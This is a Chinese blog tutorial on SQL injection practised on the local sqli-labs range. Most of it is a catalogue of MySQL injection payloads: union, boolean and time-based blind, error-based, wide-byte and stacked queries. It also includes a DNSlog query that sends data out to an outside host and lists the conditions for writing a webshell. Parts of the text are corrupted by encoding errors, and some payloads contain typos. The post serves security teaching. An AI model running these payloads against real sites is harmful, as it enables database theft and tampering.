博主姓名:擺爛陽
博主主頁面鏈接:傳送門
新人入圈,希望博主的內(nèi)容可以給大家?guī)韼椭腥魏螁栴}可以私信本人
擺爛陽從不擺爛滴
一、前言
所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令,比如先前的很多影視網(wǎng)站泄露VIP會(huì)員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊.當(dāng)應(yīng)用程序使用輸入內(nèi)容來構(gòu)造動(dòng)態(tài)sql語句以訪問數(shù)據(jù)庫時(shí),會(huì)發(fā)生sql注入攻擊。如果代碼使用存儲(chǔ)過程,而這些存儲(chǔ)過程作為包含未篩選的用戶輸入的字符串來傳遞,也會(huì)發(fā)生sql注入。
黑客通過SQL注入攻擊可以拿到網(wǎng)站數(shù)據(jù)庫的訪問權(quán)限,之后他們就可以拿到網(wǎng)站數(shù)據(jù)庫中所有的數(shù)據(jù),惡意的黑客可以通過SQL注入功能篡改數(shù)據(jù)庫中的數(shù)據(jù)甚至?xí)褦?shù)據(jù)庫中的數(shù)據(jù)毀壞掉。
二、實(shí)驗(yàn)準(zhǔn)備
本次實(shí)驗(yàn)使用sqli-labs-master靶場(chǎng)。
靶場(chǎng)下載鏈接https://codeload.github.com/Audi-1/sqli-labs/zip/master
三、sql注入檢測(cè)方法
1、數(shù)字型檢測(cè)
本次實(shí)驗(yàn)使用靶場(chǎng)第二關(guān)
直接輸入and 1=1
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=1
此時(shí)發(fā)現(xiàn)頁面是正常顯示的,我們跟著繼續(xù)判斷and 1=2
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=2
此時(shí)發(fā)現(xiàn)頁面發(fā)生了變化,那么就可以判斷這是一個(gè)數(shù)字型注入。
2、字符型檢測(cè)
本次實(shí)驗(yàn)使用靶場(chǎng)第一關(guān)
在網(wǎng)站url欄上輸入一個(gè)單引號(hào)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’
此時(shí)發(fā)現(xiàn)網(wǎng)站報(bào)錯(cuò),大致意思為你有一個(gè)數(shù)據(jù)庫語法錯(cuò)誤,當(dāng)在后面輸入一個(gè)%23(注釋符)之后會(huì)發(fā)現(xiàn)頁面正?;仫@
當(dāng)我們?cè)趩我?hào)后面輸入and 1=1 %23時(shí),發(fā)現(xiàn)頁面正?;仫@
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=1 %23
當(dāng)我們將and 1=1換成and 1=2時(shí)發(fā)現(xiàn)頁面報(bào)錯(cuò)
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=2 %23
此時(shí)便可以判斷這是一個(gè)字符型注入
3、搜索型檢測(cè)和xx型檢測(cè)
這兩種檢測(cè)方法本質(zhì)上是字符型檢測(cè)的分支,只是需要根據(jù)不同的報(bào)錯(cuò)信息進(jìn)行構(gòu)造閉合
四、常見的注入手法
1、union注入
首先要知道的是union注入一般是配合order by語句用于兩個(gè)或多個(gè)sql語句集合
ps: order by是指在sql語句后面進(jìn)行排序的,通常我們用order by來判斷查詢的字段有幾位
(1).union聯(lián)合報(bào)錯(cuò)注入
select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
(2).union聯(lián)合查詢
?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘?dāng)?shù)據(jù)庫名’) --+
2、盲注
盲注是指在不知道數(shù)據(jù)庫返回值的情況下對(duì)數(shù)據(jù)中的內(nèi)容進(jìn)行猜測(cè),一般分為布爾盲注、時(shí)間盲注、報(bào)錯(cuò)盲注
(1).布爾盲注
a.判斷數(shù)據(jù)庫長(zhǎng)度
and (length(database()))=一個(gè)數(shù) %23
b.判斷當(dāng)前數(shù)據(jù)庫名
and (ascii(substr(database(),1,1)))=一個(gè)數(shù) %23
c.判斷當(dāng)前數(shù)據(jù)庫下表的數(shù)量
and (select count(*) from information_schema.tables where table_schema='數(shù)據(jù)庫名')=一個(gè)數(shù) %23
d.判斷每個(gè)表的長(zhǎng)度
and(length((select table_name from information_schema.tables where table_schema='庫名' limit0,1)))=一個(gè)數(shù) %23
ps:
limit 后面數(shù)字的意義:
第一位表示判斷第幾張表(第一張表記作0)
第二位表示一次截取幾條數(shù)據(jù),默認(rèn)為1
e.取表名
and(ascii(subste((select table_name from information_schema.tables where table_schema='庫名' limit0,1),1,1))=一個(gè)數(shù))
f.查詢當(dāng)前數(shù)據(jù)庫下,該表內(nèi)有多少個(gè)字段
and(select count(*)from information_schema columns where table_schema='庫名' and table_name='表名')=一個(gè)數(shù) %23
g.判斷字段的長(zhǎng)度
and (length((select column_name from information_schema.columns where table_schema='庫名' and table_name='表名' limit 0,1)))=一個(gè)數(shù)%23
h.判斷第一個(gè)字段的第一位的名稱
and (ascii(substr((select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫名' and table_name='表名' limit 0,1),1,1)))=105 %23
i.判斷第一條數(shù)據(jù)的長(zhǎng)度
and(length((select 字段名 from 表名 limit 1,1)))=一個(gè)數(shù) %23
j.獲取第一條數(shù)據(jù)
and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=一個(gè)數(shù) %23
(2).時(shí)間盲注
a.判斷是否存在時(shí)間盲注
and sleep(5) %23
b.查詢當(dāng)前數(shù)據(jù)庫的長(zhǎng)度,如果正確那么就延遲
and if((length(database()))>此處填判斷的時(shí)間,sleep(此處填延遲的時(shí)間),1) --+
c.判斷當(dāng)前數(shù)據(jù)庫名第一位是否為a
and if((substr(database(),1,1)='a'),sleep(5),1) %23
d.判斷當(dāng)前數(shù)據(jù)庫名第一位ascii碼
and if((ascii(substr(database(),1,1))=此處填判斷的數(shù)字),sleep(延遲的時(shí)間),1) %23
e.查詢表數(shù)量
and if((select count(*) from information_schema.tables where table_schema='庫名稱)=此處填判斷的數(shù)字,sleep(此處填延遲的時(shí)間),1)%23
f.查詢表名長(zhǎng)度
and if((select length((select table_name from information_schema.tables where table_schema='庫名' limit 3,1))=此處填判斷的數(shù)字),sleep(此處填延遲的時(shí)間),1)%23
g.截取表名第一位
and if((select ascii(substr((select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫名 limit 3,1),1,1)))=此處填判斷的數(shù)字,sleep(此處填延遲的時(shí)間)),1)%23
h.查詢列字段數(shù)量
and if(((select count(*) from information_schema.columns where table_schema='數(shù)據(jù)庫名' and table_name='users')=此處填判斷的數(shù)字),sleep(此處填延遲的時(shí)間),1)%23
i.查詢列名長(zhǎng)度
and if((select length((select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫名' and table_name='表名' limit 0,1))=此處填判斷的數(shù)字),sleep(此處填延遲的時(shí)間),1)%23
j.截取列名第一位
and if((select ascii(substr((select column_name from information_schema.columns where table_schema=‘?dāng)?shù)據(jù)庫名’ and table_name=‘表名’ limit 0,1),1,1)))=此處填判斷的數(shù)字,sleep(此處填延遲的時(shí)間),1)%23
k.查詢第一條數(shù)據(jù)的長(zhǎng)度
and if((select length((select id from 表名 limit 0,1)))=此處填判斷的數(shù)字,sleep(此處填延遲的時(shí)間),1)%23
l.獲取數(shù)據(jù)信息內(nèi)容
and if((select ascii(substr((select id from 表名 limit 0,1),1,1)))=此處填判斷的數(shù)字,sleep(此處填延遲的時(shí)間),1)%23
2.報(bào)錯(cuò)注入
(1).floor報(bào)錯(cuò)
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
(2).extractvalue報(bào)錯(cuò)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
(3).updatexml報(bào)錯(cuò)
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
a.查表語句
and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'~'),3) %23
b.查字段語句
and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),'~'),3) %23
c.查數(shù)據(jù)語句
and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) %23
(4).geometrycollection報(bào)錯(cuò)
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
(5).multipoint報(bào)錯(cuò)
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
(6).polygon報(bào)錯(cuò)
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
(7).multipolygon報(bào)錯(cuò)
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
(8).linestring報(bào)錯(cuò)
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
(9).multilinestring報(bào)錯(cuò)
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
(10).exp報(bào)錯(cuò)
select * from test where id=1 and exp(~(select * from(select user())a));
3.堆疊注入
(1).原理
mysql_multi_query() 支持多條sql語句同時(shí)執(zhí)行,就是個(gè);分隔,成堆的執(zhí)行sql語句
例如:
select * from users;show databases;
就同時(shí)執(zhí)行以上兩條命令,所以我們可以增刪改查,只要權(quán)限夠
雖然這個(gè)注入姿勢(shì)很牛,但實(shí)際遇到很少,其可能受到API或者數(shù)據(jù)庫引擎,又或者權(quán)限的限制只有當(dāng)調(diào)用數(shù)據(jù)庫函數(shù)支持執(zhí)行多條sql語句時(shí)才能夠使用,利用mysqli_multi_query()函數(shù)就支持多條sql語句同時(shí)執(zhí)行,但實(shí)際情況中,如PHP為了防止sql注入機(jī)制,往往使用調(diào)用數(shù)據(jù)庫的函數(shù)是mysqli_
query()函數(shù),其只能執(zhí)行一條語句,分號(hào)后面的內(nèi)容將不會(huì)被執(zhí)行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對(duì)網(wǎng)站造成十分大的威脅。
4.二次注入
二次注入可以概括為以下兩步:
第一步:插入惡意數(shù)據(jù)
進(jìn)行數(shù)據(jù)庫插入數(shù)據(jù)時(shí),對(duì)其中的特殊字符進(jìn)行了轉(zhuǎn)義處理,在寫入數(shù)據(jù)庫的時(shí)候又保留了原來的數(shù)據(jù)。
第二步:引用惡意數(shù)據(jù)
開發(fā)者默認(rèn)存入數(shù)據(jù)庫的數(shù)據(jù)都是安全的,在進(jìn)行查詢時(shí),直接從數(shù)據(jù)庫中取出惡意數(shù)據(jù),沒有進(jìn)行進(jìn)一步的檢驗(yàn)的處理。
3.寬字節(jié)注入
(1).原理
當(dāng)傳遞一個(gè)參數(shù)id=1‘得時(shí)候,當(dāng)我們輸入這個(gè)單引號(hào),會(huì)被認(rèn)為是非法字符,會(huì)被過濾函數(shù)添加“\”給過濾掉,所以我們想要程序接受我們傳遞得參數(shù)中包含單引號(hào),那么就需要把這個(gè)轉(zhuǎn)義字符“\”干掉,那如何才能干掉呢?當(dāng)http協(xié)議傳輸?shù)脮r(shí)候,是要經(jīng)過url編碼的,如果這個(gè)編碼完成后,傳遞到服務(wù)器時(shí),我們可以在單引號(hào)前加上一個(gè)%81這樣得編碼,最后這樣解碼得時(shí)候,這個(gè)%81就會(huì)和“/”對(duì)應(yīng)得編碼相結(jié)合按照gbk編碼要求去解碼,最后只剩下個(gè)單引號(hào)。
(2).寬字節(jié)注入條件
(1)數(shù)據(jù)庫查詢?cè)O(shè)置為GBK編碼
(2)使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之類的函數(shù)
附:GBK編碼表 https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php
4.dnslong盲注
利用條件
利用條件:
mysql.ini中secure_file_priv必須為空
secure_file_priv 為null 不允許導(dǎo)入導(dǎo)出
secure_file_priv 為/tmp 導(dǎo)入導(dǎo)出只能在/tmp目錄下
secure_file_priv 為空時(shí) 則不做限制允許導(dǎo)入導(dǎo)出
語句
' and load_file(concat('\\\\',(select version()),'.0j7pyz.dnslog.cn\\abc')) %23
贈(zèng):域名http://www.dnslog.cn/
5.請(qǐng)求頭注入
需利用:burp
(1)UA頭注入
(2)referer注入
(3)cookie注入
6.sql注入寫入webshell
條件
(1)當(dāng)前sql注入用戶必須為DBA權(quán)限(–is-dba為true)
(2)需要知道網(wǎng)站的絕對(duì)路徑
(3)My.ini文件中的這項(xiàng)配置secure_file_priv=””為空
7.sql注入修復(fù)
Intval()
Addslashes()
五、總結(jié)
SQL注入最大的危害在于數(shù)據(jù)泄露,但SQL注入并不能直接獲得Web系統(tǒng)的權(quán)限。在對(duì)抗SQL注入攻擊方面,有效的措施是過濾和轉(zhuǎn)義,針對(duì)中小型站點(diǎn)盡可能限制數(shù)據(jù)類型,限制提交數(shù)據(jù)的字符類型,對(duì)特殊字符及敏感函數(shù)進(jìn)行過濾。針對(duì)大型站點(diǎn)推薦利用預(yù)編譯方法或參數(shù)化查詢。文章來源:http://www.zghlxwxcb.cn/news/detail-401348.html
`文章來源地址http://www.zghlxwxcb.cn/news/detail-401348.html
到了這里,關(guān)于web滲透之sql注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!